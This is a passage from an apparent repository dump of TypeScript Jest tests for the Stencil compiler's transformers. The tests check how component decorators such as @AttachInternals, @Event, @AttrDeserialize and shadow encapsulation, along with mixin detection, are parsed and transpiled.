ts.ScriptTarget.ESNext,\n    });\n\n    expect(await formatCode(transpiledModule.outputText)).toContain(\n      await c`__stencil_defineCustomElement(CmpA, [512, 'cmp-a', { baz: [2], bar: [2], foo: [2] }])`,\n    );\n\n    expect(await formatCode(transpiledModule.outputText)).toContain(\n      await c`const CmpB = class extends PlainClass {\n        constructor(registerHost) {\n          super(false);\n          if (registerHost !== false) {\n            this.__registerHost();\n          }\n        }\n        bar;\n      };`,\n    );\n\n    expect(await formatCode(transpiledModule.outputText)).toContain(\n      await c`const CmpA = class extends CmpB {\n        constructor(registerHost) {\n          super(false);\n          if (registerHost !== false) {\n            this.__registerHost();\n          }\n        }\n        foo;\n      };`,\n    );\n  });\n\n  describe('updateNativeComponentClass', () => {\n    it(\"adds __attachShadow() calls when a component doesn't have a constructor\", () => {\n      const code = `\n          @Component({\n            tag: 'cmp-a',\n            shadow: true,\n          })\n          export class CmpA {\n            @Prop() foo: number;\n          }\n        `;\n\n      const transformer = nativeComponentTransform(compilerCtx, transformOpts, buildCtx);\n      const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n      expect(transpiledModule.outputText).toContain(\n        `import { transformTag as __stencil_transformTag, defineCustomElement as __stencil_defineCustomElement, HTMLElement } from \"@stencil/core\";`,\n      );\n      expect(transpiledModule.outputText).toContain(`this.__attachShadow()`);\n    });\n\n    it('adds __attachShadow() calls when a component has a constructor', () => {\n      const code = `\n          @Component({\n            tag: 'cmp-a',\n            shadow: true,\n          })\n          export class CmpA {\n            @Prop() foo: number;\n\n            constructor() {\n              super();\n            }\n          }\n        `;\n\n      const transformer = nativeComponentTransform(compilerCtx, transformOpts, buildCtx);\n\n      const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n      expect(transpiledModule.outputText).toContain(\n        `import { transformTag as __stencil_transformTag, defineCustomElement as __stencil_defineCustomElement, HTMLElement } from \"@stencil/core\";`,\n      );\n      expect(transpiledModule.outputText).toContain(`this.__attachShadow()`);\n    });\n\n    it('adds a getter for an @Element() reference', () => {\n      const code = `\n        @Component({\n          tag: 'cmp-a'\n        })\n        export class CmpA {\n          @Element() el: HtmlElement;\n        }\n      `;\n\n      const transformer = nativeComponentTransform(compilerCtx, transformOpts, buildCtx);\n\n      const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n      expect(transpiledModule.outputText).toContain(`get el() { return this; }`);\n      expect(transpiledModule.outputText).not.toContain(`el;`);\n    });\n  });\n\n  describe('updateNativeConstructor', () => {\n    it('adds a getter for formAssociated', async () => {\n      const code = `\n        @Component({\n          tag: 'cmp-a', formAssociated: true\n        })\n        export class CmpA {\n        }\n      `;\n\n      const transformer = nativeComponentTransform(compilerCtx, transformOpts, buildCtx);\n\n      const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n      await formatCode(transpiledModule.outputText);\n\n      expect(await formatCode(transpiledModule.outputText)).toContain(\n        await c`const CmpA = class extends HTMLElement {\n          constructor(registerHost) {\n            super();\n            if (registerHost !== false) {\n              this.__registerHost();\n            }\n          }\n          static get formAssociated() {\n            return true;\n          }\n        }`,\n      );\n    });\n\n    it('adds a binding for @AttachInternals', async () => {\n      const code = `\n        @Component({\n          tag: 'cmp-a', formAssociated: true\n        })\n        export class CmpA {\n          @AttachInternals() internals;\n        }\n      `;\n\n      const transformer = nativeComponentTransform(compilerCtx, transformOpts, buildCtx);\n\n      const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n      expect(await formatCode(transpiledModule.outputText)).toContain(\n        await c`const CmpA = class extends HTMLElement {\n          constructor(registerHost) {\n            super();\n            if (registerHost !== false) {\n              this.__registerHost();\n            }\n            this.internals = this.attachInternals();\n          }\n          static get formAssociated() {\n            return true;\n          }\n        };`,\n      );\n    });\n  });\n\n  describe('static style property', () => {\n    it.each([\n      [`styleUrl: 'cmp-a.css'`, `import CmpAStyle0 from './cmp-a.css?tag=cmp-a';`, `CmpAStyle0()`],\n      [\n        `styleUrls: ['cmp-a.css', 'cmp-b.css', 'cmp-a.css']`,\n        `import CmpAStyle0 from './cmp-b.css?tag=cmp-a';\n         import CmpAStyle1 from './cmp-a.css?tag=cmp-a';`,\n        `CmpAStyle0() + CmpAStyle1()`,\n      ],\n      [\n        `styleUrls: { ios: 'cmp-a.ios.css', md: 'cmp-a.md.css' }`,\n        `import CmpAIosStyle0 from './cmp-a.ios.css?tag=cmp-a&mode=ios';\n        import CmpAMdStyle0 from './cmp-a.md.css?tag=cmp-a&mode=md';`,\n        `{ ios: CmpAIosStyle0(), md: CmpAMdStyle0() }`,\n      ],\n    ])('adds a static style property when %s', async (styleConfig, expectedImport, expectedStyleReturn) => {\n      const code = `\n        @Component({\n          tag: 'cmp-a',\n          ${styleConfig}\n        }\n        export class CmpA {}\n      `;\n      const transformer = nativeComponentTransform(compilerCtx, transformOpts, buildCtx);\n      const transpiledModule = transpileModule(code, null, compilerCtx, [], [transformer]);\n\n      expect(await formatCode(transpiledModule.outputText)).toContain(\n        await formatCode(`import { \n          transformTag as __stencil_transformTag, \n          defineCustomElement as __stencil_defineCustomElement, \n          HTMLElement \n        } from '@stencil/core';\n          ${expectedImport}\n          const CmpA = class extends HTMLElement {\n            constructor(registerHost) {\n              super();\n              if (registerHost !== false) {\n                this.__registerHost();\n              }\n            }\n            static get style() {\n              return ${expectedStyleReturn};\n            }\n          };\n        `),\n      );\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-attach-internals.spec.ts",
    "content": "import { transpileModule } from './transpile';\n\ndescribe('parse attachInternals', function () {\n  it('should set attachInternalsMemberName when set', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'cmp-a',\n      formAssociated: true\n    })\n    export class CmpA {\n      @AttachInternals()\n      myProp;\n    }\n    `);\n    expect(t.cmp!.formAssociated).toBe(true);\n    expect(t.cmp!.attachInternalsMemberName).toBe('myProp');\n  });\n\n  it('should not set attachInternalsMemberName if not set', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'cmp-a',\n    })\n    export class CmpA {\n    }\n    `);\n    expect(t.cmp!.attachInternalsMemberName).toBe(null);\n  });\n\n  it('should set attachInternalsMemberName even if formAssociated is not defined', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'cmp-a',\n    })\n    export class CmpA {\n      @AttachInternals()\n      myProp;\n    }\n    `);\n    expect(t.cmp!.formAssociated).toBe(false);\n    expect(t.cmp!.attachInternalsMemberName).toBe('myProp');\n  });\n\n  it('should set attachInternalsMemberName even if formAssociated is false', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'cmp-a',\n      formAssociated: false\n    })\n    export class CmpA {\n      @AttachInternals()\n      myProp;\n    }\n    `);\n    expect(t.cmp!.formAssociated).toBe(false);\n    expect(t.cmp!.attachInternalsMemberName).toBe('myProp');\n  });\n\n  it('should parse custom states from decorator options', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'cmp-a',\n    })\n    export class CmpA {\n      @AttachInternals({ states: { open: true, active: false, disabled: false } })\n      internals;\n    }\n    `);\n    expect(t.cmp!.attachInternalsMemberName).toBe('internals');\n    expect(t.cmp!.attachInternalsCustomStates).toEqual([\n      { name: 'open', initialValue: true, docs: '' },\n      { name: 'active', initialValue: false, docs: '' },\n      { name: 'disabled', initialValue: false, docs: '' },\n    ]);\n  });\n\n  it('should handle @AttachInternals without options (backward compat)', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'cmp-a',\n    })\n    export class CmpA {\n      @AttachInternals()\n      internals;\n    }\n    `);\n    expect(t.cmp!.attachInternalsMemberName).toBe('internals');\n    expect(t.cmp!.attachInternalsCustomStates).toEqual([]);\n  });\n\n  it('should handle @AttachInternals with empty states object', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'cmp-a',\n    })\n    export class CmpA {\n      @AttachInternals({ states: {} })\n      internals;\n    }\n    `);\n    expect(t.cmp!.attachInternalsMemberName).toBe('internals');\n    expect(t.cmp!.attachInternalsCustomStates).toEqual([]);\n  });\n\n  it('should handle @AttachInternals with states and formAssociated', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'cmp-a',\n      formAssociated: true\n    })\n    export class CmpA {\n      @AttachInternals({ states: { checked: true } })\n      internals;\n    }\n    `);\n    expect(t.cmp!.formAssociated).toBe(true);\n    expect(t.cmp!.attachInternalsMemberName).toBe('internals');\n    expect(t.cmp!.attachInternalsCustomStates).toEqual([{ name: 'checked', initialValue: true, docs: '' }]);\n  });\n\n  it('should parse JSDoc comments from state properties', async () => {\n    const t = transpileModule(`\n    @Component({\n      tag: 'cmp-a',\n    })\n    export class CmpA {\n      @AttachInternals({\n        states: {\n          hovered: false,\n          /** Whether is currently active */\n          active: true\n        }\n      })\n      internals;\n    }\n    `);\n    expect(t.cmp!.attachInternalsMemberName).toBe('internals');\n    expect(t.cmp!.attachInternalsCustomStates).toEqual([\n      { name: 'hovered', initialValue: false, docs: '' },\n      { name: 'active', initialValue: true, docs: 'Whether is currently active' },\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-comments.spec.ts",
    "content": "import { transpileModule } from './transpile';\n\ndescribe('parse comments', () => {\n  it('should parse all comments', () => {\n    const t = transpileModule(`\n      /**\n       * Comments\n       * @usage Hello\n       */\n      @Component({\n        tag: 'cmp-a'\n      })\n      export class CmpA {\n        /**\n         * This is a prop\n         * @required hello\n         */\n        @Prop() prop: 'md';\n\n        /**\n         * This is a method\n         */\n        @Method()\n        async method(prop: string) {\n          return 42;\n        }\n\n        /**\n         * This is an event\n         */\n        @Event() event;\n      }\n    `);\n\n    expect(t.property).toEqual({\n      attribute: 'prop',\n      complexType: {\n        references: {},\n        resolved: '\"md\"',\n        original: \"'md'\",\n      },\n      defaultValue: undefined,\n      docs: {\n        tags: [\n          {\n            name: 'required',\n            text: 'hello',\n          },\n        ],\n        text: 'This is a prop',\n      },\n      internal: false,\n      mutable: false,\n      name: 'prop',\n      optional: false,\n      reflect: false,\n      required: false,\n      type: 'string',\n      getter: false,\n      setter: false,\n    });\n    expect(t.method).toEqual({\n      complexType: {\n        parameters: [\n          {\n            name: 'prop',\n            type: 'string',\n            docs: '',\n          },\n        ],\n        return: 'unknown',\n        references: {},\n        signature: '(prop: string) => unknown',\n      },\n      docs: {\n        tags: [],\n        text: 'This is a method',\n      },\n      internal: false,\n      name: 'method',\n    });\n    expect(t.event).toEqual({\n      bubbles: true,\n      cancelable: true,\n      composed: true,\n      docs: {\n        tags: [],\n        text: 'This is an event',\n      },\n      complexType: {\n        original: 'any',\n        references: {},\n        resolved: 'any',\n      },\n      internal: false,\n      method: 'event',\n      name: 'event',\n    });\n    expect(t.cmp.docs).toEqual({\n      tags: [\n        {\n          name: 'usage',\n          text: 'Hello',\n        },\n      ],\n      text: 'Comments',\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-component-tags.spec.ts",
    "content": "import { transpileModule } from './transpile';\n\ndescribe('parse component tags', () => {\n  it('createElement', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        connectedCallback() {\n          const elm = document.createElement('some-cmp');\n        }\n        render() {\n          return <div/>\n        }\n      }\n    `);\n\n    expect(t.cmp.potentialCmpRefs).toHaveLength(1);\n    expect(t.cmp.potentialCmpRefs[0]).toBe('some-cmp');\n  });\n\n  it('createElementNS', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        connectedCallback() {\n          const elm = document.createElementNS('http://www.w3.org/2000/svg', 'some-cmp');\n        }\n        render() {\n          return <div/>\n        }\n      }\n    `);\n\n    expect(t.cmp.potentialCmpRefs).toHaveLength(1);\n    expect(t.cmp.potentialCmpRefs[0]).toBe('some-cmp');\n  });\n\n  it('jsx tagged component', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        render() {\n          return <some-cmp/>\n        }\n      }\n    `);\n\n    expect(t.cmp.potentialCmpRefs).toHaveLength(1);\n    expect(t.cmp.potentialCmpRefs[0]).toBe('some-cmp');\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-component.spec.ts",
    "content": "import * as ts from 'typescript';\n\nimport { getStaticGetter, transpileModule } from './transpile';\n\ndescribe('parse component', () => {\n  it('\"is\" for \"tag\"', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a'\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'is')).toEqual('cmp-a');\n    expect(t.tagName).toBe('cmp-a');\n  });\n\n  it('componentClassName', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a'\n      })\n      export class CmpA {}\n    `);\n\n    expect(t.componentClassName).toBe('CmpA');\n  });\n\n  it('can not have shadowRoot getter', () => {\n    let error: Error | undefined;\n    try {\n      transpileModule(`\n        @Component({\n          tag: 'cmp-a'\n        })\n        export class CmpA {\n          get shadowRoot() {\n            return this;\n          }\n        }\n      `);\n    } catch (err: unknown) {\n      error = err as Error;\n    }\n\n    expect(error.message).toContain(\n      `The component \"CmpA\" has a getter called \"shadowRoot\". This getter is reserved for use by Stencil components and should not be defined by the user.`,\n    );\n  });\n\n  it('ignores shadowRoot getter in unrelated class', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a'\n      })\n      export class CmpA {\n        // use a better name for the getter\n        get elementShadowRoot() {\n          return this;\n        }\n      }\n\n      export class Unrelated {\n        get shadowRoot() {\n          return this;\n        }\n      }\n    `);\n\n    expect(t.componentClassName).toBe('CmpA');\n  });\n\n  it('should derive meta data from extended tree of classes', async () => {\n    const t = transpileModule(`\n    @Component({tag: 'cmp-a'})\n      class CmpA extends Parent {\n        @Prop() foo: string;\n      }\n      class Parent extends GrandParent {\n        render() {}\n      }\n      class GrandParent {\n        connectedCallback() {}\n      }\n    `);\n\n    expect(t.cmp.hasRenderFn).toBe(true);\n    expect(t.cmp.hasConnectedCallbackFn).toBe(true);\n  });\n\n  it('should derive `isExtended` and `isMixin`', async () => {\n    let t = transpileModule(\n      `\n    @Component({tag: 'cmp-a'})\n      class CmpA extends Parent {\n        @Prop() foo: string;\n      }\n      class Parent extends GrandParent {\n        render() {}\n      }\n      class GrandParent {\n        connectedCallback() {}\n      }\n    `,\n      undefined,\n      undefined,\n      [],\n      [],\n      [],\n      { target: ts.ScriptTarget.ES2022 },\n    );\n\n    expect(t.isExtended).toBe(true);\n    expect(t.isMixin).toBe(false);\n\n    t = transpileModule(\n      `\n      @Component({tag: 'cmp-a'})\n      class CmpA {\n        @Prop() foo: string;\n      }\n      @Component({tag: 'cmp-b'})\n      class CmpB extends CmpA {\n        @Prop() foo: string;\n      }\n    `,\n      undefined,\n      undefined,\n      [],\n      [],\n      [],\n      { target: ts.ScriptTarget.ES2022 },\n    );\n\n    expect(t.isExtended).toBe(true);\n    expect(t.isMixin).toBe(true);\n  });\n\n  it('should throw error if target is less than es2022', async () => {\n    try {\n      transpileModule(\n        `\n        @Component({tag: 'cmp-a'})\n        class CmpA extends Parent {\n          @Prop() foo: string = 'cmp a foo';\n        }\n        class Parent {\n          @Prop() foo: string = 'parent foo';\n        }\n      `,\n        undefined,\n        undefined,\n        [],\n        [],\n        [],\n        { target: ts.ScriptTarget.ES2021 },\n      );\n    } catch (e: any) {\n      expect(e.message).toContain('ES2022 and above');\n    }\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-deserializers.spec.ts",
    "content": "import * as ts from 'typescript';\n\nimport { getStaticGetter, transpileModule } from './transpile';\n\ndescribe('parse AttrDeserialize', () => {\n  it('constructs deserializers static getters', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Prop() prop1;\n        @Prop() prop2;\n        @State() state1;\n\n        @AttrDeserialize('prop1')\n        @AttrDeserialize('prop2')\n        onUpdate() {\n          console.log('update');\n        }\n\n        @AttrDeserialize('prop1')\n        @AttrDeserialize('state1')\n        onStateUpdated() {\n          console.log('state updated');\n        }\n      }\n    `);\n\n    // should not include `@State` props\n    expect(getStaticGetter(t.outputText, 'deserializers')).toEqual([\n      { methodName: 'onUpdate', propName: 'prop1' },\n      { methodName: 'onUpdate', propName: 'prop2' },\n      { methodName: 'onStateUpdated', propName: 'prop1' },\n    ]);\n  });\n\n  it('should merge extended class deserializers meta', async () => {\n    const t = transpileModule(\n      `\n      @Component({tag: 'cmp-a'})\n      class CmpA extends Parent {\n        @Prop() foo;\n        @AttrDeserialize('foo') \n        fooHandler() {\n          return 'CmpA';\n        }\n      }\n      class Parent extends GrandParent {\n        @Prop() foo;\n        @AttrDeserialize('foo') \n        anotherFooHandler() {\n          return 'Parent';\n        }\n      }\n      class GrandParent {\n        @Prop() bar;\n        @AttrDeserialize('bar') \n        barHandler() {\n          return 'GrandParent';\n        }\n\n        @Prop() foo;\n        @AttrDeserialize('foo') \n        fooHandler() {\n          return 'GrandParent';\n        }\n      }\n    `,\n      undefined,\n      undefined,\n      [],\n      [],\n      [],\n      { target: ts.ScriptTarget.ESNext },\n    );\n\n    expect(t.deserializers).toEqual([\n      {\n        methodName: 'barHandler',\n        propName: 'bar',\n      },\n      {\n        methodName: 'anotherFooHandler',\n        propName: 'foo',\n      },\n      {\n        methodName: 'fooHandler',\n        propName: 'foo',\n      },\n    ]);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-element.spec.ts",
    "content": "import { getStaticGetter, transpileModule } from './transpile';\n\ndescribe('parse element', () => {\n  it('element', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Element() val: HTMLElement\n      }\n    `);\n\n    expect(getStaticGetter(t.outputText, 'elementRef')).toEqual('val');\n    expect(t.elementRef).toBe('val');\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-encapsulation.spec.ts",
    "content": "import { getStaticGetter, transpileModule } from './transpile';\n\ndescribe('parse encapsulation', () => {\n  it('shadow', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a',\n        shadow: true\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'encapsulation')).toEqual('shadow');\n    expect(getStaticGetter(t.outputText, 'delegatesFocus')).toEqual(undefined);\n    expect(getStaticGetter(t.outputText, 'mode')).toEqual(undefined);\n\n    expect(t.cmp.encapsulation).toBe('shadow');\n    expect(t.cmp.shadowDelegatesFocus).toBe(false);\n  });\n\n  it('delegatesFocus true', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a',\n        shadow: {\n          delegatesFocus: true\n        }\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'encapsulation')).toEqual('shadow');\n    expect(getStaticGetter(t.outputText, 'delegatesFocus')).toEqual(true);\n    expect(getStaticGetter(t.outputText, 'mode')).toEqual(undefined);\n\n    expect(t.cmp.encapsulation).toBe('shadow');\n    expect(t.cmp.shadowDelegatesFocus).toBe(true);\n  });\n\n  it('delegatesFocus false', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a',\n        shadow: {\n          delegatesFocus: false\n        }\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'encapsulation')).toEqual('shadow');\n    expect(getStaticGetter(t.outputText, 'delegatesFocus')).toEqual(undefined);\n    expect(getStaticGetter(t.outputText, 'mode')).toEqual(undefined);\n\n    expect(t.cmp.encapsulation).toBe('shadow');\n    expect(t.cmp.shadowDelegatesFocus).toBe(false);\n  });\n\n  it('scoped', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a',\n        scoped: true\n      })\n      export class CmpA {}\n    `);\n\n    expect(getStaticGetter(t.outputText, 'encapsulation')).toEqual('scoped');\n    expect(t.cmp.encapsulation).toBe('scoped');\n    expect(t.cmp.shadowDelegatesFocus).toBe(false);\n  });\n\n  it('no encapsulation', () => {\n    const t = transpileModule(`\n      @Component({\n        tag: 'cmp-a'\n      })\n      export class CmpA {}\n    `);\n\n    expect(t.outputText).not.toContain(`static get encapsulation()`);\n    expect(t.cmp.encapsulation).toBe('none');\n    expect(t.cmp.shadowDelegatesFocus).toBe(false);\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-events.spec.ts",
    "content": "import * as ts from 'typescript';\n\nimport { transpileModule } from './transpile';\n\ndescribe('parse events', () => {\n  it('events', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        /**\n         * Hello, this is an event\n         * @foo bar\n         */\n        @Event() thingChanged: EventEmitter<string>;\n      }\n    `);\n\n    expect(t.event).toEqual({\n      name: 'thingChanged',\n      method: 'thingChanged',\n      bubbles: true,\n      cancelable: true,\n      composed: true,\n      internal: false,\n      complexType: {\n        original: 'string',\n        resolved: 'string',\n        references: {},\n      },\n      docs: {\n        text: 'Hello, this is an event',\n        tags: [\n          {\n            name: 'foo',\n            text: 'bar',\n          },\n        ],\n      },\n    });\n  });\n\n  it('different options', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        @Event({\n          eventName: 'ionChange',\n          bubbles: false,\n          cancelable: false,\n          composed: false,\n        }) thingChanged: EventEmitter<void>;\n      }\n    `);\n    expect(t.event).toEqual({\n      name: 'ionChange',\n      method: 'thingChanged',\n      bubbles: false,\n      cancelable: false,\n      composed: false,\n      internal: false,\n      complexType: {\n        original: 'void',\n        resolved: `void`,\n        references: {},\n      },\n      docs: {\n        text: '',\n        tags: [],\n      },\n    });\n  });\n\n  it('no type', () => {\n    const t = transpileModule(`\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        /**\n         * Hello, this is an event\n         * @foo bar\n         */\n        @Event() thingChanged: EventEmitter;\n      }\n    `);\n    expect(t.event.complexType).toEqual({\n      original: 'any',\n      resolved: 'any',\n      references: {},\n    });\n  });\n\n  it('alias type', () => {\n    const t = transpileModule(`\n      export type Mode = 'md' | 'ios';\n\n      @Component({tag: 'cmp-a'})\n      export class CmpA {\n        /**\n         * Hello, this is an event\n         * @foo bar\n         */\n        @Event() thingChanged: EventEmitter<Mode>;\n      }\n    `);\n    expect(t.event.complexType).toEqual({\n      original: 'Mode',\n      resolved: `\"ios\" | \"md\"`,\n      references: {\n        Mode: {\n          id: 'module.tsx::Mode',\n          location: 'local',\n          path: 'module.tsx',\n        },\n      },\n    });\n  });\n\n  it('should merge extended class events meta', async () => {\n    const t = transpileModule(\n      `\n      @Component({tag: 'cmp-a'})\n      class CmpA extends Parent {\n        @Event({bubbles: true}) anEvent: EventEmitter<string>; \n      }\n      class Parent extends GrandParent {\n        @Event({bubbles: false}) anEvent: EventEmitter<string>; \n      }\n      class GrandParent {\n        @Event({bubbles: false}) anGrandParentEvent: EventEmitter<string>; \n      }\n    `,\n      undefined,\n      undefined,\n      [],\n      [],\n      [],\n      { target: ts.ScriptTarget.ESNext },\n    );\n\n    expect(t.events).toEqual([\n      {\n        bubbles: false,\n        cancelable: true,\n        complexType: {\n          original: 'string',\n          references: {},\n          resolved: 'string',\n        },\n        composed: true,\n        docs: {\n          tags: [],\n          text: '',\n        },\n        internal: false,\n        method: 'anGrandParentEvent',\n        name: 'anGrandParentEvent',\n      },\n      {\n        bubbles: true,\n        cancelable: true,\n        complexType: {\n          original: 'string',\n          references: {},\n          resolved: 'string',\n        },\n        composed: true,\n        docs: {\n          tags: [],\n          text: '',\n        },\n        internal: false,\n        method: 'anEvent',\n        name: 'anEvent',\n      },\n    ]);\n  });\n\n  describe('resolveVar', () => {\n    it('should resolve const variable in @Event eventName', () => {\n      const t = transpileModule(`\n        import { Component, Event, resolveVar, EventEmitter } from '@stencil/core';\n        \n        const MY_EVENT = 'myEvent';\n        \n        @Component({tag: 'cmp-a'})\n        export class CmpA {\n          @Event({ eventName: resolveVar(MY_EVENT) })\n          myEvent: EventEmitter<string>;\n        }\n      `);\n      expect(t.event).toEqual({\n        name: 'myEvent',\n        method: 'myEvent',\n        bubbles: true,\n        cancelable: true,\n        composed: true,\n        internal: false,\n        complexType: {\n          original: 'string',\n          resolved: 'string',\n          references: {},\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n      });\n    });\n\n    it('should resolve object property in @Event eventName', () => {\n      const t = transpileModule(`\n        import { Component, Event, resolveVar, EventEmitter } from '@stencil/core';\n        \n        const EVENTS = {\n          MY_EVENT: 'myEvent',\n          OTHER_EVENT: 'otherEvent'\n        } as const;\n        \n        @Component({tag: 'cmp-a'})\n        export class CmpA {\n          @Event({ eventName: resolveVar(EVENTS.MY_EVENT) })\n          myEvent: EventEmitter<string>;\n        }\n      `);\n      expect(t.event).toEqual({\n        name: 'myEvent',\n        method: 'myEvent',\n        bubbles: true,\n        cancelable: true,\n        composed: true,\n        internal: false,\n        complexType: {\n          original: 'string',\n          resolved: 'string',\n          references: {},\n        },\n        docs: {\n          text: '',\n          tags: [],\n        },\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "src/compiler/transformers/test/parse-exportable-mixin.spec.ts",
    "content": "import * as ts from 'typescript';\n\nimport { transpileModule } from './transpile';\n\ndescribe('parse exportable mixin', () => {\n  describe('hasExportableMixins detection', () => {\n    it('detects abstract class with Stencil decorators as exportable mixin', () => {\n      const t = transpileModule(\n        `\n        // An abstract class with Stencil decorators but NO @Component\n        class AbstractMixin {\n          @Prop() mixinProp: string = 'default';\n          @State() mixinState: string = 'state';\n          @Method()\n          async mixinMethod() {\n            return 'method';\n          }\n          @Watch('mixinProp')\n          mixinPropChanged() {}\n        }\n\n        @Component({tag: 'cmp-a'})\n        class CmpA extends AbstractMixin {\n          @Prop() cmpProp: string = 'cmp';\n        }\n      `,\n        undefined,\n        undefined,\n        [],\n        [],\n        [],\n        { target: ts.ScriptTarget.ESNext },\n      );\n\n      expect(t.moduleFile.hasExportableMixins).toBe(true);\n    });\n\n    it('detects mixin factory pattern as exportable mixin', () => {\n      const t = transpileModule(\n        `\n        // A mixin factory function\n        const MixinFactory = (Base) => {\n          class Mixin extends Base {\n            @Prop() factoryProp: string = 'factory';\n            @State() factoryState: string = 'state';\n          }\n          return Mixin;\n        }\n\n        @Component({tag: 'cmp-a'})\n        class CmpA extends Mixin(MixinFactory) {\n          @Prop() cmpProp: string = 'cmp';\n        }\n      `,\n        undefined,\n        undefined,\n        [],\n        [],\n        [],\n        { target: ts.ScriptTarget.ESNext },\n      );\n\n      expect(t.moduleFile.hasExportableMixins).toBe(true);\n    });\n\n    it('does NOT set hasExportableMixins for regular components', () => {\n      const t = transpileModule(\n        `\n        @Component({tag: 'cmp-a'})\n        class CmpA {\n          @Prop() prop1: string = 'default';\n          @State() state1: string = 'state';\n        }\n      `,\n        undefined,\n        undefined,\n        [],\n        [],\n        [],\n        { target: ts.ScriptTarget.ESNext },\n      );\n\n      expect(t.moduleFile.hasExportableMixins).toBeFalsy();\n    });\n\n    it('does NOT set hasExportableMixins for classes without Stencil decorators', () => {\n      const t = transpileModule(\n        `\n        // A plain class without Stencil decorators\n        class PlainClass {\n          plainProp: string = 'default';\n          plainMethod() {\n            return 'method';\n          }\n        }\n\n        @Component({tag: 'cmp-a'})\n        class CmpA extends PlainClass {\n          @Prop() cmpProp: string = 'cmp';\n        }\n      `,\n        undefined,\n        undefined,\n        [],\n        [],\n        [],\n        { target: ts.ScriptTarget.ESNext },\n      );\n\n      expect(t.moduleFile.hasExportableMixins).toBeFalsy();\n    });\n\n    it('detects mixin with only @Prop as exportable', () => {\n      const t = transpileModule(\n        `\n        class PropOnlyMixin {\n          @Prop() mixinProp: string = 'default';\n        }\n\n        @Component({tag: 'cmp-a'})\n        class CmpA extends PropOnlyMixin {}\n      `,\n        undefined,\n        undefined,\n        [],\n        [],\n        [],\n        { target: ts.ScriptTarget.ESNext },\n      );\n\n      expect(t.moduleFile.hasExportableMixins).toBe(true);\n    });\n\n    it('detects mixin with only @State as exportable', () => {\n      const t = transpileModule(\n        `\n        class StateOnlyMixin {\n          @State() mixinState: string = 'default';\n        }\n\n        @Component({tag: 'cmp-a'})\n        class CmpA extends StateOnlyMixin {}\n      `,\n        undefined,\n        undefined,\n        [],\n        [],\n        [],\n        { target: ts.ScriptTarget.ESNext },\n      );\n\n      expect(t.moduleFile.hasExportableMixins).toBe(true);\n    });\n\n    it('detects mixin with only @Method as exportable', () => {\n      const t = transpileModule(\n        `\n        class MethodOnlyMixin {\n          @Method()\n          async mixinMethod() {\n            return 'method';\n          }\n        }\n\n        @Component({tag: 'cmp-a'})\n        class CmpA extends MethodOnlyMixin {}\n      `,\n        undefined,\n        undefined,\n        [],\n        [],\n        [],\n        { target: ts.ScriptTarget.ESNext },\n      );\n\n      expect(t.moduleFile.hasExportableMixins).toBe(true);\n    });\n\n    it('detects mixin with only @Event as exportable', () => {\n      const t = transpileModule(\n        `\n        class EventOnlyMixin {\n          @Event() mixinEvent: EventEmitter<string>;\n        }\n\n        @Component({tag: 'cmp-a'})\n        class CmpA extends EventOnlyMixin {}\n      `,\n        undefined,\n        undefined,\n        [],\n        [],\n        [],\n        { target: ts.ScriptTarget.ESNext },\n      );\n\n      expect(t.moduleFile.hasExportableMixins).toBe(true);\n    });\n\n    it('detects mixin with only @Watch as exportable', () => {\n      const t = transpileModule(\n        `\n        class WatchOnlyMixin {\n          someProp: string = 'default';\n          @Watch('someProp')\n          somePropChanged() {}\n        }\n\n        @Component({tag: 'cmp-a'})\n        class CmpA extends WatchOnlyMixin {\n          @Prop() someProp: string = 'cmp';\n        }\n      `,\n        undefined,\n        undefined,\n        [],\n        [],\n        [],\n        { target: ts.ScriptTarget.ESNext },\n      );\n\n      